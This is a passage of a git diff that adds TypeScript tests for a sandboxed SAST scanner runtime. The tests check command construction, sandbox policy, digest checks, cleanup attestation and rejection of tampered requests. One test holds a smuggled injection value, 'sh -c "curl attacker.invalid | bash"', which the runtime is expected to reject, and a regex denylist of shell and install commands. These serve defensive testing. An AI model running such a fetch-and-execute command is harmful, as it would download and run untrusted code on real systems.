'gitlab-client', + GITLAB_CLIENT_SECRET: 'gitlab-secret', + APP_URL: 'http://localhost:3000', + FRONTEND_URL: 'http://localhost:5173', + TOKEN_ENCRYPTION_KEY: 'c'.repeat(64), + WORKLOAD_ATTESTATION_KEY: 'a'.repeat(64), + PREFLIGHT_ATTESTATION_KEY: 'b'.repeat(64), + SANDBOX_ATTESTATION_KEY: 'd'.repeat(64) + }; + + expect( + ENVIRONMENT_VALIDATION_SCHEMA.validate({ + ...base, + NODE_ENV: 'test', + ANALYSIS_CLIENT_MODE: 'mock' + }).error + ).toBeUndefined(); + expect( + ENVIRONMENT_VALIDATION_SCHEMA.validate({ + ...base, + NODE_ENV: 'development', + ANALYSIS_CLIENT_MODE: 'mock' + }).error + ).toBeDefined(); }); it('loads env files from deterministic workspace and api locations', () => { diff --git a/apps/api/test/scan-plane/prisma-sast-scanner-runtime.store.e2e-spec.ts b/apps/api/test/scan-plane/prisma-sast-scanner-runtime.store.e2e-spec.ts new file mode 100644 index 0000000..b4cb6da --- /dev/null +++ b/apps/api/test/scan-plane/prisma-sast-scanner-runtime.store.e2e-spec.ts @@ -0,0 +1,114 @@ +import type { PrismaService } from '../../src/prisma/prisma.service'; +import { + isSastAttemptSequenceEligible, + PrismaSastScannerRuntimeStore +} from '../../src/scan-plane/prisma-sast-scanner-runtime.store'; + +describe('PrismaSastScannerRuntimeStore', () => { + it('admits attempt two only after attempt one has a durable retry-eligible infrastructure failure', () => { + const eligibleAttemptOne = { + attemptNumber: 1, + stage: 'FAILED' as const, + failureClass: 'RETRYABLE_INFRASTRUCTURE' as const, + retryEligible: true, + completedAt: new Date('2026-07-24T12:00:00.000Z'), + finalAuditEventId: 'audit-attempt-1' + }; + + expect(isSastAttemptSequenceEligible(1, null)).toBe(true); + expect(isSastAttemptSequenceEligible(1, eligibleAttemptOne)).toBe(false); + expect(isSastAttemptSequenceEligible(2, eligibleAttemptOne)).toBe(true); + expect( + isSastAttemptSequenceEligible(2, { + ...eligibleAttemptOne, + failureClass: 'SCANNER_DEFECT' + }) + ).toBe(false); + expect( + isSastAttemptSequenceEligible(2, { + ...eligibleAttemptOne, + retryEligible: false + }) + ).toBe(false); + expect( + isSastAttemptSequenceEligible(2, { + ...eligibleAttemptOne, + finalAuditEventId: null + }) + ).toBe(false); + expect(isSastAttemptSequenceEligible(3, eligibleAttemptOne)).toBe(false); + }); + + it('atomically fails overdue active attempts with an attempt-scoped final audit event', async () => { + const attemptDeadlineAt = new Date('2026-07-24T12:00:00.000Z'); + const auditCreate = jest.fn().mockResolvedValue({ id: 'audit-created' }); + const attemptUpdate = jest.fn().mockResolvedValue({ count: 1 }); + const transaction = { + sastScanAttempt: { + findFirst: jest.fn().mockResolvedValue({ + id: 'attempt-1', + tenantId: 'tenant-1', + repositoryBindingId: 'repository-1', + scanRequestId: 'scan-1', + sandboxId: 'sandbox-1', + workloadIdentityRef: 'spiffe://aegis/scan/attempt-1', + attemptDeadlineAt + }), + updateMany: attemptUpdate + }, + auditEvent: { create: auditCreate } + }; + const findMany = jest.fn().mockResolvedValue([{ id: 'attempt-1' }]); + const prisma = { + sastScanAttempt: { findMany }, + $transaction: jest.fn( + async ( + operation: (client: typeof transaction) => Promise + ) => operation(transaction) + ) + }; + const store = new PrismaSastScannerRuntimeStore( + prisma as unknown as PrismaService + ); + const referenceTime = '2026-07-24T12:01:01.000Z'; + + await expect(store.failOverdueAttempts(referenceTime)).resolves.toBe(1); + expect(findMany).toHaveBeenCalledWith({ + where: { + stage: { in: ['VALIDATING', 'SCANNING', 'CLEANUP_PENDING'] }, + attemptDeadlineAt: { + lte: new Date('2026-07-24T12:00:01.000Z') + } + }, + select: { id: true }, + orderBy: [{ attemptDeadlineAt: 'asc' }, { id: 'asc' }], + take: 100 + }); + const auditData = auditCreate.mock.calls[0][0].data as { + id: string; + attemptId: string; + tenantId: string; + eventType: string; + }; + expect(auditData).toMatchObject({ + attemptId: 'attempt-1', + tenantId: 'tenant-1', + eventType: 'sandbox.cleanup_failed' + }); + expect(attemptUpdate).toHaveBeenCalledWith({ + where: { + id: 'attempt-1', + tenantId: 'tenant-1', + stage: { in: ['VALIDATING', 'SCANNING', 'CLEANUP_PENDING'] } + }, + data: { + stage: 'CLEANUP_FAILED', + failureClass: 'SECURITY_VIOLATION', + failureReason: 'SANDBOX_CLEANUP_EVIDENCE_OVERDUE', + retryEligible: false, + finalAuditEventId: auditData.id, + completedAt: new Date(referenceTime) + } + }); + }); +}); diff --git a/apps/api/test/scan-plane/sast-attempt-reconciliation.task.e2e-spec.ts b/apps/api/test/scan-plane/sast-attempt-reconciliation.task.e2e-spec.ts new file mode 100644 index 0000000..137a372 --- /dev/null +++ b/apps/api/test/scan-plane/sast-attempt-reconciliation.task.e2e-spec.ts @@ -0,0 +1,25 @@ +import { SastAttemptReconciliationTask } from '../../src/scan-plane/sast-attempt-reconciliation.task'; + +describe('SAST attempt reconciliation task', () => { + it('forwards an exact reference time to durable overdue-attempt reconciliation', async () => { + const store = { + failOverdueAttempts: jest.fn().mockResolvedValue(2) + }; + const config = { + isTest: jest.fn().mockReturnValue(true), + get: jest.fn().mockReturnValue(60_000) + }; + const task = new SastAttemptReconciliationTask( + store as never, + config as never + ); + const referenceTime = new Date('2026-07-24T12:00:00.000Z'); + + await expect( + task.reconcileOverdueAttempts(referenceTime) + ).resolves.toBe(2); + expect(store.failOverdueAttempts).toHaveBeenCalledWith( + referenceTime.toISOString() + ); + }); +}); diff --git a/apps/api/test/scan-plane/sast-scanner-runtime.e2e-spec.ts b/apps/api/test/scan-plane/sast-scanner-runtime.e2e-spec.ts new file mode 100644 index 0000000..dcbb80f --- /dev/null +++ b/apps/api/test/scan-plane/sast-scanner-runtime.e2e-spec.ts @@ -0,0 +1,967 @@ +import { + SAST_APPROVED_PROFILE_DIGESTS, + SAST_FORBIDDEN_CAPABILITIES, + SAST_SCAN_PROFILES, + isSastScanPlanValid, + type SastRepositoryPreflightSelection, + type SastScannerExecutionRecord, + type SastScannerInvocation, + type SastScannerProcessObservation, + type SastScannerRepositoryManifest, + type SastScannerRuntimeAuditSignal, + type SastScannerWrapperExecutionRequest, + type SastScanPlan, + type SastSignedSandboxCleanupObservation +} from '@aegisai/shared'; + +import { RepositoryPreflightAttestationService } from '../../src/scan-plane/repository-preflight-attestation.service'; +import { RepositoryPreflightService } from '../../src/scan-plane/repository-preflight.service'; +import { SandboxRuntimeAttestationService } from '../../src/scan-plane/sandbox-runtime-attestation.service'; +import { SastScannerRuntimeService } from '../../src/scan-plane/sast-scanner-runtime.service'; +import type { FinishSastAttemptInput } from '../../src/scan-plane/sast-scanner-runtime.store'; +import { SastScannerRuntimeStore } from '../../src/scan-plane/sast-scanner-runtime.store'; +import { ScannerSandboxAdapterService } from '../../src/scan-plane/scanner-sandbox-adapter.service'; +import type { + ScannerSandboxCleanupOperation, + ScannerSandboxRuntimeOperation +} from '../../src/scan-plane/scanner-sandbox-runtime.provider'; +import { ScannerSandboxRuntimeProvider } from '../../src/scan-plane/scanner-sandbox-runtime.provider'; +import { ScannerWorkspaceManifestService } from '../../src/scan-plane/scanner-workspace-manifest.service'; + +const FIXED_COMMIT = 'a'.repeat(40); +const ATTEMPT_ID = 'attempt-runtime-1'; + +const digest = (character: string): `sha256:${string}` => + `sha256:${character.repeat(64)}`; + +const repositoryEntries = [ + { + path: 'pom.xml', + pathEncodingValid: true, + kind: 'FILE' as const, + byteSize: 128, + gitObjectId: `sha1:${'1'.repeat(40)}` as const, + executable: false, + lfsPointer: false + }, + { + path: 'src/main/java/com/acme/App.java', + pathEncodingValid: true, + kind: 'FILE' as const, + byteSize: 512, + gitObjectId: `sha1:${'2'.repeat(40)}` as const, + executable: false, + lfsPointer: false + } +]; + +class InMemoryRuntimeStore extends SastScannerRuntimeStore { + began = false; + stages: string[] = []; + scannerRuns: SastScannerExecutionRecord[] = []; + auditSignals: SastScannerRuntimeAuditSignal[] = []; + finished?: FinishSastAttemptInput; + credentialCleanupDurable = true; + + beginAttempt(): Promise { + this.began = true; + return Promise.resolve(); + } + + markStage( + _request: SastScannerWrapperExecutionRequest, + stage: 'SCANNING' | 'CLEANUP_PENDING' + ): Promise { + this.stages.push(stage); + return Promise.resolve(); + } + + recordScannerRun( + _request: SastScannerWrapperExecutionRequest, + record: SastScannerExecutionRecord + ): Promise { + this.scannerRuns.push(record); + return Promise.resolve(); + } + + recordAuditSignal(signal: SastScannerRuntimeAuditSignal): Promise { + this.auditSignals.push(signal); + return Promise.resolve(); + } + + isCredentialHandoffTerminal(): Promise { + return Promise.resolve(this.credentialCleanupDurable); + } + + failOverdueAttempts(): Promise { + return Promise.resolve(0); + } + + finishAttempt(input: FinishSastAttemptInput): Promise { + this.finished = input; + return Promise.resolve(); + } +} + +interface RuntimeHarness { + adapter: ScannerSandboxAdapterService; + attestation: SandboxRuntimeAttestationService; + provider: { + readRepositoryManifest: jest.Mock< + Promise, + [ScannerSandboxRuntimeOperation] + >; + executeScanner: jest.Mock< + Promise, + [ScannerSandboxRuntimeOperation] + >; + cleanup: jest.Mock< + Promise, + [ScannerSandboxCleanupOperation] + >; + }; + request: SastScannerWrapperExecutionRequest; + runtime: SastScannerRuntimeService; + store: InMemoryRuntimeStore; +} + +describe('Pinned scanner wrapper and sandbox lifecycle', () => { + it('builds shell-less exact OpenGrep, Trivy, and Syft commands only from the signed plan', () => { + const harness = buildHarness(); + const invocations = harness.adapter.buildInvocations(harness.request); + + expect(invocations).toHaveLength(3); + expect( + Date.parse( + harness.request.sandboxAttestation.claims.attemptDeadlineAt + ) - + Date.parse(harness.request.sandboxAttestation.claims.issuedAt) + ).toBe( + harness.request.plan.profile.limits.wallClockTimeoutSeconds * + 1_000 + ); + expect(invocations[0]).toMatchObject({ + scanner: 'OPENGREP', + executable: '/opt/aegis/scanners/opengrep', + args: [ + 'scan', + '-f', + `/opt/aegis/assets/rules/opengrep/${'5'.repeat(64)}`, + '--sarif-output=/workspace/output/opengrep.sarif', + '--no-autofix', + '--disable-nosem', + '--no-git-ignore', + '--x-ignore-semgrepignore-files', + '--disable-version-check', + '--strict', + '--jobs=1', + '--max-memory=8192', + '--max-target-bytes=5242880', + '/workspace/repository' + ], + workingDirectory: '/workspace/output', + scannerInputPath: '/workspace/repository', + outputPath: '/workspace/output/opengrep.sarif', + artifactSchema: 'OPENGREP_SARIF' + }); + expect(invocations[1]).toMatchObject({ + scanner: 'TRIVY', + executable: '/opt/aegis/scanners/trivy', + args: [ + 'filesystem', + '--config', + `/opt/aegis/assets/wrappers/trivy/${'4'.repeat(64)}/config.yaml`, + '--format', + 'json', + '--output', + '/workspace/output/trivy.json', + '--scanners', + 'vuln,misconfig,secret', + '--cache-dir', + `/opt/aegis/assets/trivy/${'7'.repeat(64)}/${'6'.repeat(64)}`, + '--ignorefile', + `/opt/aegis/assets/wrappers/trivy/${'4'.repeat(64)}/empty.trivyignore`, + '--secret-config', + `/opt/aegis/assets/rules/trivy/${'6'.repeat(64)}/secret.yaml`, + '--show-suppressed', + '--timeout', + '3600s', + '--parallel', + '1', + '--quiet', + '--no-progress', + '--offline-scan', + '--skip-db-update', + '--skip-java-db-update', + '--skip-check-update', + '--skip-vex-repo-update', + '--disable-telemetry', + '--skip-version-check', + '/workspace/repository' + ], + scannerInputPath: '/workspace/repository', + artifactSchema: 'TRIVY_JSON' + }); + expect(invocations[2]).toMatchObject({ + scanner: 'SYFT', + executable: '/opt/aegis/scanners/syft', + args: [ + 'dir:/workspace/repository', + '--config', + `/opt/aegis/assets/wrappers/syft/${'9'.repeat(64)}/config.yaml`, + '--output', + 'cyclonedx-json=/workspace/output/syft.cdx.json' + ], + scannerInputPath: '/workspace/repository', + environment: expect.objectContaining({ + SYFT_CHECK_FOR_APP_UPDATE: 'false', + SYFT_GOLANG_SEARCH_REMOTE_LICENSES: 'false', + SYFT_GOLANG_USE_PACKAGES_LIB: 'false', + SYFT_JAVA_USE_NETWORK: 'false', + SYFT_JAVASCRIPT_SEARCH_REMOTE_LICENSES: 'false', + SYFT_PACKAGE_SEARCH_INDEXED_ARCHIVES: 'false', + SYFT_PACKAGE_SEARCH_UNINDEXED_ARCHIVES: 'false', + SYFT_PYTHON_SEARCH_REMOTE_LICENSES: 'false', + SYFT_FILE_CONTENT_SKIP_FILES_ABOVE_SIZE: '5242880' + }), + artifactSchema: 'CYCLONEDX_JSON' + }); + + for (const invocation of invocations) { + expect(invocation.sandboxPolicy).toMatchObject({ + runAsNonRoot: true, + readOnlyRootFilesystem: true, + readOnlyRepository: true, + privateWritableOutput: true, + shellInterpolationAllowed: false, + customerEnvironmentAllowed: false, + customerExecutableConfigAllowed: false, + customerSuppressionConfigAllowed: false, + repositoryToolConfigDiscoveryAllowed: false, + packageInstallAllowed: false, + repositoryBuildAllowed: false, + dynamicExecutionAllowed: false, + runtimeAssetUpdateAllowed: false, + publicInternetEgressAllowed: false, + cloudMetadataAccessAllowed: false + }); + expect(JSON.stringify(invocation)).not.toMatch( + /npm install|pip install|mvn package|gradle build|sh -c|bash -c/i + ); + expect(Object.isFrozen(invocation)).toBe(true); + expect(Object.isFrozen(invocation.sandboxPolicy)).toBe(true); + expect( + Object.isFrozen(invocation.sandboxPolicy.resourceLimits) + ).toBe(true); + } + }); + + it('binds Fast scanners to a content-bound selected workspace instead of the repository root', async () => { + const harness = buildHarness({ + profile: SAST_SCAN_PROFILES.JAVA_FAST_V1, + selection: { + mode: 'PATH_ALLOWLIST', + paths: ['src/main/java/com/acme/App.java'] + } + }); + const expectedInputPath = `/workspace/selected/${harness.request.preflight.inventoryDigest.slice( + 'sha256:'.length + )}`; + const invocations = harness.adapter.buildInvocations(harness.request); + + expect(invocations).toHaveLength(2); + for (const invocation of invocations) { + expect(invocation.scannerInputPath).toBe(expectedInputPath); + expect(invocation.args).toContain(expectedInputPath); + expect(invocation.args).not.toContain('/workspace/repository'); + } + + await expect(harness.runtime.execute(harness.request)).resolves.toMatchObject({ + stage: 'COMPLETED', + scannerRuns: [{ status: 'SUCCEEDED' }, { status: 'SUCCEEDED' }] + }); + for (const [operation] of harness.provider.executeScanner.mock.calls) { + expect(operation.invocation.scannerInputPath).toBe(expectedInputPath); + } + }); + + it('rejects a Fast scanner manifest that is not bound to the selected workspace projection', async () => { + const selection = { + mode: 'PATH_ALLOWLIST' as const, + paths: ['src/main/java/com/acme/App.java'] + }; + const harness = buildHarness({ + profile: SAST_SCAN_PROFILES.JAVA_FAST_V1, + selection + }); + harness.provider.readRepositoryManifest.mockImplementationOnce( + async (operation) => ({ + scanner: operation.invocation.scanner, + source: 'MICROVM_READ_ONLY_MOUNT', + observedAt: new Date().toISOString(), + scannerInput: { + mode: 'FULL_REPOSITORY', + path: '/workspace/repository', + sourceInventoryDigest: + operation.invocation.preflightInventoryDigest, + readOnly: true + }, + selection, + entries: repositoryEntries + }) + ); + + await expect(harness.runtime.execute(harness.request)).rejects.toMatchObject({ + failureClass: 'SECURITY_VIOLATION', + reasonCode: 'SCANNER_WORKSPACE_MANIFEST_INVALID' + }); + expect(harness.provider.executeScanner).not.toHaveBeenCalled(); + expect(harness.provider.cleanup).toHaveBeenCalledTimes(1); + }); + + it('re-manifests before each scanner, records bounded terminal metadata, and completes only after cleanup', async () => { + const harness = buildHarness(); + + await expect(harness.runtime.execute(harness.request)).resolves.toMatchObject({ + stage: 'COMPLETED', + attemptId: ATTEMPT_ID, + scannerRuns: [ + { status: 'SUCCEEDED', invocation: { scanner: 'OPENGREP' } }, + { status: 'SUCCEEDED', invocation: { scanner: 'TRIVY' } }, + { status: 'SUCCEEDED', invocation: { scanner: 'SYFT' } } + ], + cleanup: { + observation: { + credentialRevokedAndWiped: true, + scannerProcessesTerminated: true, + writableVolumesDestroyed: true, + microVmTerminated: true, + resultIngressClosed: true + } + } + }); + + expect(harness.provider.readRepositoryManifest).toHaveBeenCalledTimes(3); + expect(harness.provider.executeScanner).toHaveBeenCalledTimes(3); + expect( + harness.provider.executeScanner.mock.calls[0][0] + ).toMatchObject({ + attemptDeadlineAt: + harness.request.sandboxAttestation.claims.attemptDeadlineAt, + signal: expect.any(AbortSignal) + }); + for (let index = 0; index < 3; index += 1) { + expect( + harness.provider.readRepositoryManifest.mock.invocationCallOrder[index] + ).toBeLessThan( + harness.provider.executeScanner.mock.invocationCallOrder[index] + ); + } + expect(harness.provider.cleanup).toHaveBeenCalledTimes(1); + expect(harness.store.finished).toMatchObject({ + stage: 'COMPLETED', + retryEligible: false + }); + expect(harness.store.auditSignals.map((signal) => signal.eventType)).toEqual([ + 'sandbox.ready', + 'scanner.started', + 'scanner.completed', + 'scanner.started', + 'scanner.completed', + 'scanner.started', + 'scanner.completed', + 'sandbox.cleanup_pending', + 'sandbox.terminated' + ]); + expect(JSON.stringify(harness.store)).not.toMatch( + /sourceContent|rawArtifact|accessToken|credentialValue|secretValue/i + ); + }); + + it('does not start a scanner when the scanner-visible workspace digest changes', async () => { + const harness = buildHarness(); + harness.provider.readRepositoryManifest.mockImplementationOnce( + async (operation) => ({ + scanner: operation.invocation.scanner, + source: 'MICROVM_READ_ONLY_MOUNT', + observedAt: new Date().toISOString(), + scannerInput: { + mode: 'FULL_REPOSITORY', + path: operation.invocation.scannerInputPath, + sourceInventoryDigest: + operation.invocation.preflightInventoryDigest, + readOnly: true + }, + selection: { mode: 'ALL_SCANNABLE', paths: [] }, + entries: [ + repositoryEntries[0], + { + ...repositoryEntries[1], + gitObjectId: `sha1:${'9'.repeat(40)}` + } + ] + }) + ); + + await expect(harness.runtime.execute(harness.request)).rejects.toMatchObject({ + failureClass: 'SECURITY_VIOLATION', + reasonCode: 'SCANNER_WORKSPACE_DIGEST_MISMATCH', + retryAllowed: false + }); + expect(harness.provider.executeScanner).not.toHaveBeenCalled(); + expect(harness.provider.cleanup).toHaveBeenCalledTimes(1); + expect(harness.store.finished).toMatchObject({ + stage: 'FAILED', + failureClass: 'SECURITY_VIOLATION', + reasonCode: 'SCANNER_WORKSPACE_DIGEST_MISMATCH' + }); + }); + + it.each([ + { + name: 'timeout', + observation: (invocation: SastScannerInvocation) => + processObservation(invocation, { + exitCode: -1, + timedOut: true, + artifact: undefined + }), + expectedStatus: 'TIMED_OUT', + expectedReason: 'SCANNER_TIMEOUT' + }, + { + name: 'bounded output bomb', + observation: (invocation: SastScannerInvocation) => + processObservation(invocation, { + outputLimitExceeded: true, + stdout: { + byteSize: 1_048_000, + contentDigest: digest('e'), + truncated: true, + secretRedactionApplied: true + }, + artifact: undefined + }), + expectedStatus: 'QUARANTINED', + expectedReason: 'SCANNER_OUTPUT_LIMIT_EXCEEDED' + } + ])( + 'fails closed on $name and still destroys the sandbox', + async ({ observation, expectedStatus, expectedReason }) => { + const harness = buildHarness(); + harness.provider.executeScanner.mockImplementationOnce( + async (operation) => observation(operation.invocation) + ); + + await expect(harness.runtime.execute(harness.request)).rejects.toMatchObject({ + reasonCode: expectedReason + }); + expect(harness.store.scannerRuns[0]).toMatchObject({ + status: expectedStatus + }); + expect(harness.provider.cleanup).toHaveBeenCalledTimes(1); + expect(harness.store.finished).toMatchObject({ + stage: 'FAILED', + reasonCode: expectedReason + }); + } + ); + + it('rejects contradictory exit and termination metadata before persistence', async () => { + const harness = buildHarness(); + harness.provider.executeScanner.mockImplementationOnce( + async (operation) => + processObservation(operation.invocation, { + exitCode: 0, + terminationSignal: 'SIGKILL' + }) + ); + + await expect(harness.runtime.execute(harness.request)).rejects.toMatchObject({ + failureClass: 'SCANNER_DEFECT', + reasonCode: 'SCANNER_RUNTIME_OBSERVATION_INVALID' + }); + expect(harness.store.scannerRuns).toHaveLength(0); + expect(harness.provider.cleanup).toHaveBeenCalledTimes(1); + }); + + it('rejects a zero-byte scanner artifact before persistence', async () => { + const harness = buildHarness(); + harness.provider.executeScanner.mockImplementationOnce( + async (operation) => + processObservation(operation.invocation, { + artifact: { + artifactRef: `${harness.request.plan.resultIngressRef}/${operation.invocation.scanner.toLowerCase()}`, + contentDigest: digest('f'), + byteSize: 0, + recordCount: 0, + truncated: false + } + }) + ); + + await expect(harness.runtime.execute(harness.request)).rejects.toMatchObject({ + failureClass: 'SCANNER_DEFECT', + reasonCode: 'SCANNER_RUNTIME_OBSERVATION_INVALID' + }); + expect(harness.store.scannerRuns).toHaveLength(0); + expect(harness.provider.cleanup).toHaveBeenCalledTimes(1); + }); + + it('marks cleanup failed when any signed destruction condition is false', async () => { + const harness = buildHarness(); + harness.provider.cleanup.mockImplementationOnce(async (operation) => + harness.attestation.issueCleanup({ + ...cleanupObservation(operation.request), + microVmTerminated: false + }) + ); + + await expect(harness.runtime.execute(harness.request)).rejects.toMatchObject({ + failureClass: 'SECURITY_VIOLATION', + reasonCode: 'SANDBOX_CLEANUP_EVIDENCE_INVALID' + }); + expect(harness.store.finished).toMatchObject({ + stage: 'CLEANUP_FAILED', + retryEligible: false, + reasonCode: 'SANDBOX_CLEANUP_EVIDENCE_INVALID' + }); + expect(harness.store.auditSignals.at(-1)).toMatchObject({ + eventType: 'sandbox.cleanup_failed' + }); + }); + + it('rejects signed cleanup evidence produced before the runtime attempt began', async () => { + const harness = buildHarness(); + harness.provider.cleanup.mockImplementationOnce(async (operation) => + harness.attestation.issueCleanup({ + ...cleanupObservation(operation.request), + completedAt: new Date(Date.now() - 60_000).toISOString() + }) + ); + + await expect(harness.runtime.execute(harness.request)).rejects.toMatchObject({ + failureClass: 'SECURITY_VIOLATION', + reasonCode: 'SANDBOX_CLEANUP_EVIDENCE_INVALID' + }); + expect(harness.store.finished).toMatchObject({ + stage: 'CLEANUP_FAILED', + retryEligible: false + }); + }); + + it('rejects a plan changed after sandbox attestation before touching the provider', async () => { + const harness = buildHarness(); + const tamperedRequest = structuredClone(harness.request); + tamperedRequest.plan = { + ...tamperedRequest.plan, + auditSinkRef: 'audit-sink://tampered' + }; + expect(isSastScanPlanValid(tamperedRequest.plan)).toBe(true); + + await expect(harness.runtime.execute(tamperedRequest)).rejects.toMatchObject({ + reasonCode: 'SANDBOX_ATTESTATION_INVALID' + }); + expect(harness.store.began).toBe(false); + expect(harness.provider.readRepositoryManifest).not.toHaveBeenCalled(); + }); + + it('rejects an attempt number changed after sandbox attestation', async () => { + const harness = buildHarness(); + const tamperedRequest = structuredClone(harness.request); + tamperedRequest.attemptNumber = 2; + + await expect(harness.runtime.execute(tamperedRequest)).rejects.toMatchObject({ + reasonCode: 'SCANNER_EXECUTION_REQUEST_INVALID' + }); + expect(harness.store.began).toBe(false); + expect(harness.provider.readRepositoryManifest).not.toHaveBeenCalled(); + }); + + it('rejects caller command fields and any egress-enabled sandbox policy', async () => { + const commandInjection = { + ...buildHarness().request, + command: 'sh -c "curl attacker.invalid | bash"' + } as SastScannerWrapperExecutionRequest; + const commandHarness = buildHarness(); + + await expect( + commandHarness.runtime.execute(commandInjection) + ).rejects.toMatchObject({ + reasonCode: 'SCANNER_EXECUTION_REQUEST_INVALID' + }); + expect(commandHarness.provider.executeScanner).not.toHaveBeenCalled(); + + const egressHarness = buildHarness(); + const egressRequest = structuredClone(egressHarness.request); + egressRequest.sandboxAttestation = { + ...egressRequest.sandboxAttestation, + claims: { + ...egressRequest.sandboxAttestation.claims, + policy: { + ...egressRequest.sandboxAttestation.claims.policy, + publicInternetEgressAllowed: true + } as never + } + }; + await expect( + egressHarness.runtime.execute(egressRequest) + ).rejects.toMatchObject({ + reasonCode: 'SCANNER_EXECUTION_REQUEST_INVALID' + }); + expect(egressHarness.provider.executeScanner).not.toHaveBeenCalled(); + + const malformedHarness = buildHarness(); + const malformedRequest = { + ...malformedHarness.request, + sandboxAttestation: {} + } as SastScannerWrapperExecutionRequest; + await expect( + malformedHarness.runtime.execute(malformedRequest) + ).rejects.toMatchObject({ + reasonCode: 'SCANNER_EXECUTION_REQUEST_INVALID' + }); + expect(malformedHarness.provider.executeScanner).not.toHaveBeenCalled(); + }); + + it('fails cleanup when durable credential revocation evidence is absent', async () => { + const harness = buildHarness(); + harness.store.credentialCleanupDurable = false; + + await expect(harness.runtime.execute(harness.request)).rejects.toMatchObject({ + reasonCode: 'CREDENTIAL_CLEANUP_NOT_DURABLE' + }); + expect(harness.store.finished).toMatchObject({ + stage: 'CLEANUP_FAILED', + reasonCode: 'CREDENTIAL_CLEANUP_NOT_DURABLE' + }); + expect(harness.provider.executeScanner).not.toHaveBeenCalled(); + }); +}); + +interface BuildHarnessOptions { + profile?: SastScanPlan['profile']; + selection?: Readonly; +} + +function buildHarness(options: BuildHarnessOptions = {}): RuntimeHarness { + process.env.NODE_ENV = 'test'; + const config = { + get: (key: string) => { + const values: Record = { + PREFLIGHT_ATTESTATION_KEY: 'b'.repeat(64), + SANDBOX_ATTESTATION_KEY: 'd'.repeat(64) + }; + const value = values[key]; + if (!value) { + throw new Error(`Unexpected config key: ${key}`); + } + return value; + } + }; + const preflightAttestation = + new RepositoryPreflightAttestationService(config as never); + const preflight = new RepositoryPreflightService(preflightAttestation); + const profile = options.profile ?? SAST_SCAN_PROFILES.JAVA_DEEP_V1; + const selection = options.selection ?? { + mode: 'ALL_SCANNABLE' as const, + paths: [] + }; + const preflightResult = preflight.evaluate({ + attemptId: ATTEMPT_ID, + fixedCommitSha: FIXED_COMMIT, + pathPolicyVersion: 'path-policy-v1', + pathPolicy: profile.pathPolicy, + limits: profile.limits, + sourceExtensions: profile.sourceExtensions, + manifestNames: profile.manifestNames, + selection, + entries: repositoryEntries + }); + const plan = scanPlan( + preflightResult.inventoryDigest, + preflightResult.attestationRef, + profile + ); + expect(isSastScanPlanValid(plan)).toBe(true); + + const adapter = new ScannerSandboxAdapterService(); + const attestation = new SandboxRuntimeAttestationService(config as never); + const policy = adapter.buildPolicy(plan); + const request: SastScannerWrapperExecutionRequest = { + plan, + attemptId: ATTEMPT_ID, + attemptNumber: 1, + sandboxId: 'sandbox-runtime-1', + workloadIdentityRef: 'spiffe://aegis/scan/attempt-runtime-1', + preflight: { + pathPolicyVersion: 'path-policy-v1', + attestationRef: preflightResult.attestationRef, + inventoryDigest: preflightResult.inventoryDigest, + decision: 'ACCEPT' + }, + sandboxAttestation: attestation.issue({ + plan, + attemptId: ATTEMPT_ID, + attemptNumber: 1, + sandboxId: 'sandbox-runtime-1', + workloadIdentityRef: 'spiffe://aegis/scan/attempt-runtime-1', + policy + }) + }; + const provider = { + readRepositoryManifest: jest.fn( + async ( + operation: ScannerSandboxRuntimeOperation + ): Promise => ({ + scanner: operation.invocation.scanner, + source: 'MICROVM_READ_ONLY_MOUNT', + observedAt: new Date().toISOString(), + scannerInput: { + mode: + operation.request.plan.profile.scope === + 'CHANGED_FILES_WITH_CONTEXT' + ? 'CONTENT_BOUND_PATH_ALLOWLIST' + : 'FULL_REPOSITORY', + path: operation.invocation.scannerInputPath, + sourceInventoryDigest: + operation.invocation.preflightInventoryDigest, + readOnly: true + }, + selection, + entries: repositoryEntries + }) + ), + executeScanner: jest.fn( + async ( + operation: ScannerSandboxRuntimeOperation + ): Promise => + processObservation(operation.invocation) + ), + cleanup: jest.fn( + async ( + operation: ScannerSandboxCleanupOperation + ): Promise => + attestation.issueCleanup(cleanupObservation(operation.request)) + ) + }; + const store = new InMemoryRuntimeStore(); + const controlPlane = { + getScanRequest: jest.fn().mockResolvedValue({ + id: plan.scanRequestId, + tenantId: plan.tenantId, + repositoryBindingId: plan.repositoryState.repositoryBindingId, + commitSha: plan.repositoryState.fixedCommitSha, + scannerSetVersion: plan.scannerSet.scannerSetVersion, + policyVersion: plan.policyVersion, + isolationClass: plan.isolationClass, + status: 'RUNNING' + }) + }; + const manifestVerifier = new ScannerWorkspaceManifestService( + preflight, + preflightAttestation + ); + const runtime = new SastScannerRuntimeService( + controlPlane as never, + adapter, + attestation, + manifestVerifier, + provider as unknown as ScannerSandboxRuntimeProvider, + store + ); + + return { + adapter, + attestation, + provider, + request, + runtime, + store + }; +} + +function scanPlan( + inventoryDigest: `sha256:${string}`, + attestationRef: string, + profile: SastScanPlan['profile'] = SAST_SCAN_PROFILES.JAVA_DEEP_V1 +): SastScanPlan { + return { + tenantId: 'tenant-runtime', + scanRequestId: 'scan-runtime-1', + canonicalScanKey: digest('c'), + profile, + profileDigest: SAST_APPROVED_PROFILE_DIGESTS[profile.id], + policyVersion: 'policy-v1', + repositoryState: { + repositoryBindingId: 'repository-runtime-1', + fixedCommitSha: FIXED_COMMIT, + targetRef: 'refs/heads/main', + inventoryDigest, + attestationRef, + shallowFetchPreferred: true, + submodulesEnabled: false, + lfsObjectsFetched: false + }, + scannerSet: { + scannerSetVersion: 'scanner-set-v1', + scannerSetDigest: digest('3'), + signatureRef: 'sig://scanner-set-v1', + provenanceRef: 'provenance://scanner-set-v1', + scanners: { + OPENGREP: scannerDescriptor('OPENGREP', '1.1.0', '1', '2'), + TRIVY: scannerDescriptor('TRIVY', '0.66.0', '3', '4'), + SYFT: scannerDescriptor('SYFT', '1.33.0', '8', '9') + }, + ruleBundles: [ + { + bundleId: 'opengrep-java-v1', + version: '1', + state: 'ACTIVE', + digest: digest('5'), + signatureRef: 'sig://rule/opengrep', + provenanceRef: 'provenance://rule/opengrep', + compatibilityRef: 'compat://rule/opengrep', + rolloutPolicyRef: 'rollout://rule/opengrep', + killSwitchRef: 'kill-switch://rule/opengrep', + scanner: 'OPENGREP', + source: 'PLATFORM_MANAGED', + immutable: true, + customerExecutableConfigAllowed: false + }, + { + bundleId: 'trivy-checks-v1', + version: '1', + state: 'ACTIVE', + digest: digest('6'), + signatureRef: 'sig://rule/trivy', + provenanceRef: 'provenance://rule/trivy', + compatibilityRef: 'compat://rule/trivy', + rolloutPolicyRef: 'rollout://rule/trivy', + killSwitchRef: 'kill-switch://rule/trivy', + scanner: 'TRIVY', + source: 